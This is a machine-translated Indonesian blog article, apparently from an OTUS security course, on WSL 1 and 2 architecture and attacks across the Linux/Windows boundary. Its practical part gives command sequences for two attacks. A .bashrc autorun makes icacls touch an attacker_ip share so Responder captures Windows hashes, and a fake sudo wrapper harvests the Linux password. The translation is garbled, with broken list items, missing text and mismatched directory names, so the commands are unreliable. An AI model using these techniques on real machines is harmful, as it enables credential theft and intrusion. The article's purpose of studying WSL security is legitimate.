Eksperimen WSL. Bagian 1

Halo habr! Pada bulan Oktober, OTUS meluncurkan aliran kursus Keamanan Linux baru . Menjelang permulaan kursus, kami membagikan kepada Anda artikel yang ditulis oleh salah satu guru kami - Alexander Kolesnikov.










Pada tahun 2016, Microsoft memperkenalkan teknologi baru WSL ( W indows S ubsystem for Linux), yang dalam jangka panjang memungkinkan untuk menyatukan pesaing yang sebelumnya tidak dapat didamaikan yang berjuang untuk popularitas di antara pengguna OS biasa dan mahir: Windows dan Linux. Teknologi ini memungkinkan untuk menggunakan alat Linux di lingkungan Windows tanpa harus menjalankan Linux, misalnya, menggunakan Multi-boot. Di Habr, Anda dapat menemukan banyak artikel yang menjelaskan manfaat menggunakan WSL. Namun, sayangnya, pada saat artikel dibuat, tidak ada studi keamanan dari simbiosis sistem operasi yang ditemukan pada sumber ini. Posting ini akan mencoba untuk memperbaikinya. Artikel ini akan membahas tentang fitur arsitektur WSL 1 dan 2, dan menganalisis beberapa contoh serangan pada sistem yang menggunakan teknologi ini. Artikel ini dibagi menjadi 2 bagian.Yang pertama akan memberikan metode teori dasar serangan Linux dan Windows. Artikel kedua akan mencakup pengaturan lingkungan pengujian dan serangan ulang.



WSL 1: fitur arsitektur



Untuk perendaman yang paling akurat dalam masalah keamanan WSL, perlu untuk menentukan nuansa utama yang terkait dengan implementasi subsistem. Salah satu tugas pengguna utama yang diselesaikan oleh WSL adalah menyediakan kemampuan untuk bekerja melalui sistem Linux terminal pada host dengan OS Windows. Selain itu, kompatibilitas yang diusulkan sangat asli sehingga Linux executable files (ELFs) dapat dijalankan secara langsung di sistem Windows. Untuk mencapai tujuan ini, subsistem khusus dibuat di Windows 10 yang memungkinkan Anda menjalankan aplikasi Linux menggunakan serangkaian panggilan sistem tertentu - dengan demikian, upaya dilakukan untuk memetakan satu set sistem Linux ke Windows. Secara fisik, ini dilakukan dengan menambahkan driver baru dan format proses baru. Secara visual, arsitekturnya terlihat seperti ini:







Faktanya, interaksi dengan sistem operasi Linux diatur melalui beberapa modul nuklir dan jenis proses khusus - pico. Dari diagram di atas, Anda dapat melihat bahwa proses yang berjalan di instance Linux pada host harus asli dan harus menggunakan sumber daya yang sama seperti aplikasi Windows biasa. Tetapi bagaimana ini bisa dicapai? Proyek Drawbridge mengembangkan konsep proses Windows yang menyediakan semua komponen sistem operasi (tergantung pada versi) yang diperlukan untuk menjalankan aplikasi OS yang berbeda.

Perhatikan bahwa abstraksi yang diusulkan memungkinkan untuk tidak fokus pada sistem operasi (khususnya, Windows), di mana proses OS lain diharapkan untuk dimulai, dan menawarkan pendekatan umum.
Jadi, aplikasi apa pun di dalam proses pico dapat berjalan tanpa melihat kernel Windows:



  1. Masalah kompatibilitas dan terjemahan panggilan sistem harus ditangani oleh penyedia khusus;
  2. Kontrol akses harus dilakukan melalui Monitor Keamanan. Monitor berada di kernel, dan oleh karena itu Windows membutuhkan peningkatan dalam bentuk driver baru yang dapat bertindak sebagai penyedia untuk proses tersebut. Prototipe proses pico ditunjukkan secara skematis di bawah ini:






Karena sistem file Linux menggunakan nama file dan direktori yang peka huruf besar / kecil, 2 jenis sistem file telah ditambahkan ke Windows untuk menangani WSL - VolFS dan DriveFS. VolFS adalah implementasi dari sistem file Linux, DriveFS adalah sistem file yang bekerja sesuai dengan aturan Windows, tetapi memiliki kemampuan untuk memilih sensitivitas huruf pada nama.



WSL 2



WSL 1 memiliki sejumlah keterbatasan yang mencegahnya digunakan untuk menyelesaikan berbagai tugas maksimum: misalnya, tidak memiliki kemampuan untuk menjalankan aplikasi Linux 32-bit, dan driver perangkat tidak dapat digunakan. Oleh karena itu, pada tahun 2020 WSL 2 dirilis, yang mengubah pendekatan untuk membangun subsistem. WSL 2 adalah mesin virtual yang dioptimalkan yang memenuhi karakteristik konsumsi sumber daya WSL 1. Sekarang, tergantung pada masalah yang diselesaikan oleh pengguna Windows, Anda dapat memilih versi subsistem Linux yang diperlukan. Untuk mengurangi potensi kerentanan, WSL 2 diimplementasikan berdasarkan Hyper-V di Windows 10. Dalam formulir ini, Windows memiliki kemampuan untuk menjalankan kernel Linux secara terpisah. Perlu diingat bahwa versi 1 WSL diperkenalkan sebagai fitur beta,yang seharusnya menunjukkan vektor pengembangan Windows di area ini, jadi transisi ke Hyper-V tidak terhindarkan. Arsitektur terakhir terlihat seperti ini:







Dalam versi ini, kernel Windows dan Linux memiliki sumber dayanya sendiri dan persimpangan hanya ada di sistem file, tetapi persimpangan ini tidak lengkap. Interaksi antara sistem file dilakukan melalui pembungkus klien-server yang berjalan pada protokol 9P.



Saat ini Microsoft menyediakan kemampuan untuk beralih antara WSL 1 dan WSL 2. Kedua versi tersedia untuk digunakan.



Keamanan WSL



Saat ini, ada beberapa makalah yang menjelaskan beberapa pendekatan untuk menggunakan alat OS yang sah untuk menyerang interaksi antar subsistem. Kami akan menggunakan skrip mereka untuk memeriksa relevansi serangan pada saat penulisan ini. Daftar umum serangan dan skenario:



1. Implementasi sistem file: hak akses, keberadaan direktori bersama / mekanisme pertukaran data.



Penelitian dilakukan pada subjek pelanggaran aturan akses dari Linux FS-> Windows FS, Windows FS-> Linux FS . Penelitian telah mendemonstrasikan kemampuan untuk memodifikasi file tertentu dalam OS target. Upaya juga dilakukan untuk mengganti, membuat duplikat, dan menghapus bagian dari sistem file.



Skenario:



  • A. Menyerang dari sistem operasi Windows - memodifikasi file dari direktori / etc Linux.
  • B. Serangan dari sistem operasi Linux - modifikasi file dalam direktori: C:\Windows, C:\Program Files,C:\Users\<User>


2. Implementasi tumpukan jaringan.



Penelitian dilakukan terhadap contoh serangan dari sistem operasi Linux pada Windows. Fitur tumpukan jaringan digunakan, yaitu, mekanisme otentikasi pada berbagai sumber daya.



Skenario:



  • Membuka akses ke port yang sibuk di sistem Windows
  • Pembukaan pelabuhan jika tidak ada hak yang sesuai
  • Meluncurkan shell terbalik menggunakan file elf di sistem operasi Windows.


3. Penyembunyian peluncuran proses perangkat lunak berbahaya menggunakan subsistem WSL.



Penelitian ini didasarkan pada fakta sederhana - subsistem perlindungan tidak dapat mencegat peristiwa di inti lain, yang bekerja menggunakan penyedia yang sah dari sistem operasi dalam kasus WSL 1. Dalam kasus WSL 2, tidak ada cara untuk melihat peristiwa yang terjadi di inti terpisah di dalamnya. mesin virtual ringan.



Skenario:



1) Meluncurkan aplikasi untuk akses jarak jauh ke sistem dan melihat peristiwa yang dicatat.



Eksperimen WSL 1: Menangkap Hash (Windows OS)



Akhirnya kami sampai pada bagian praktis. Pertama, Anda perlu menyiapkan lingkungan untuk pengujian. Semua percobaan akan dilakukan di stan dengan Windows 10 2004 diinstal. Ubuntu 18.04 dipilih sebagai image sistem operasi untuk WSL. Gambar itu dipilih secara acak dan gambar lainnya akan bekerja sama. Perintah untuk menyiapkan dudukan:



Pertama, Anda harus menjalankan powershell.exesebagai administrator.



Untuk WSL 1, Anda perlu menjalankan perintah: Setelah memulai ulang dudukan, Anda dapat memanggil perintah bash. Jika semuanya bekerja dengan benar, maka Anda akan melihat sesuatu seperti ini di konsol Windows: Kami akan menggunakan distribusi Kali Linux sebagai mesin penyerang, semua mesin harus berada di jaringan lokal yang sama.



  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
  • Ubuntu.appx install —root #
  • , , , root. sam.
  • Restart-Computer #
















  • Mari kita asumsikan kita memiliki akses tanpa hak istimewa ke WSL pada mesin Windows. Mari kita coba menyerang sistem operasi Linux dengan memanggil perintah dari Linux. Untuk mengimplementasikan serangan, kami akan menggunakan teknik autorun sederhana - kami akan menambahkan skrip kami untuk dieksekusi di lingkungan Linux. Untuk melakukan ini, Anda perlu mengubah file .bashrc.



    Di mesin dengan WSL, jalankan:



    	1. bash
    	2.     : cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit


    Di mesin Kali Linux, jalankan:



    1. Responder -I eth0 -rdvw


    Di mesin Windows, jalankan bash.



    Kami menunggu hasilnya di mesin Kali Linux:







    Jadi, kami mendapatkan hash pengguna Windows melalui subsistem WSL dengan menjalankan perintah di sistem Linux.



    Eksperimen WSL 1: Mengambil Kata Sandi Pengguna (OS Linux)



    Mari lakukan satu percobaan lagi. Selama pemeriksaan ini, kami akan melengkapi file dengan .bashrcbeberapa perintah untuk mendapatkan kata sandi pengguna untuk sistem operasi Linux.



    Mari mulai bash dan masukkan perintah:



    1. mkdir .hidden
    2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
    3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
    4. echo "echo \"\"" >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
    7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit


    Agar serangan berhasil diselesaikan, Sam perlu memanggil sudo di terminal Linux. Setelah itu, kata sandi pengguna OS Linux akan ada di file pass.txt:







    Pelaksanaan serangan disajikan hanya untuk informasi teoritis.



    Bagian selanjutnya dari artikel ini akan menjelaskan implementasi protokol 9P, mempertimbangkan pembuatan pemindai untuk protokol ini, dan juga melakukan serangan dengan menggunakannya.



    Daftar literatur bekas







    Baca lebih banyak






    All Articles